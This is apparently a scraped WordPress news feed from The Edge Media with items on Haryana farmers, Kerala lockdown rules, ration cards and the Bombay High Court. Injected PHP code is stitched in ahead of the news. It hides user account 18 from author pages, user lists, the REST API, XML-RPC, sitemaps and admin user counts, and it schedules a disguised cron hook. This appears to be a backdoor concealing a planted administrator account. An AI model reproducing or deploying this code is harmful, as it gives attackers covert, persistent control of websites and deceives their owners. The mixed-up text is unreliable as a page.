add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Farmers in Haryana have called off their protest after the government promised an investigation into the Karnal incident and SDM Ayush Sinha’s conduct appeared first on The Edge Media.
]]>The state administration has informed farmer union leaders that an inquiry committee, chaired by a senior judge, will be formed to investigate the August 28 Karnal tragedy and the role of IAS official Ayush Sinha. Sinha will be on leave until the investigation is completed.
Farmers have also been guaranteed that two family members of farmer Sushil Kajal (who died after a police lathi charge at the Bastara toll plaza on August 28) will be provided jobs.
The post Farmers in Haryana have called off their protest after the government promised an investigation into the Karnal incident and SDM Ayush Sinha’s conduct appeared first on The Edge Media.
]]>The post State government decides to relax the lockdown regulations for Bakrid appeared first on The Edge Media.
]]>Shops other than those selling the essential goods will be allowed to function up to 8pm on these three days. These include textile shops, footwear shops, electronics shops, fancy shops and jewellery shops. The decision was taken after chief minister Pinarayi Vijayan met the representatives of the Kerala Vyapari Vyavasayi Ekopani Samithi (KVVES) after the traders challenged the government that they would open the shops on Saturday and Sunday as well.
At present, the shops, except eateries and those selling essentials are allowed to open only on alternate days in the A, B and C categories. The traders had been protesting against this and had challenged the government that they would open all the shops on all days. The challenge from the traders had resulted in a bitter face off between the government and the traders with the chief minister warning them of dire consequences if they did so.
The post State government decides to relax the lockdown regulations for Bakrid appeared first on The Edge Media.
]]>The post Ration Cards To Be Issued For The Vulnerable By The States, Advises Central appeared first on The Edge Media.
]]>The government delivers subsidized grains, recognized as food-insecure, to about 800 million qualified recipients under the Food Safety Act. They are also eligible for Pradhan Mantri Garib Kalyan Anna Yojana for five kg of free grains.
The post Ration Cards To Be Issued For The Vulnerable By The States, Advises Central appeared first on The Edge Media.
]]>The post The Bombay High Court issued an statement saying that the Maharashtra government is not at all serious about protecting its Doctors. appeared first on The Edge Media.
]]>The deputy secretary of the Health department filed an affidavit. A bench of Chief Justice Dipankar Datta and Justice GS Kulkarni were reviewing it. The high court gave the orders for the same on May 13. The bench asked the state government to inform the Hight Court , about the FIRs reported for the assault against the doctors. The State government should also provide the steps taken to protect them, said the bench.
A total number of 436 cases are registered across the state. But, the state failed to provide the information of the guidelines taken to prevent it.
The bench said,”This is so shocking, the one-page affidavit that has been filed. From the next time, we are not going to accept affidavits unless vetted by the government pleader. The only word we can use is pathetic. This is absolute callous. The state is not at all serious about protecting its doctors. Yet, the public expects doctors to give their all”. The bench has instructed the deputy secretary of the state health department, to file a subsidiary affidavit by the coming week. The bench also added that the affidavit should necessarily include the state’s response on how to handle such incidents and to protect the doctors and the medical staff.
The post The Bombay High Court issued an statement saying that the Maharashtra government is not at all serious about protecting its Doctors. appeared first on The Edge Media.
]]>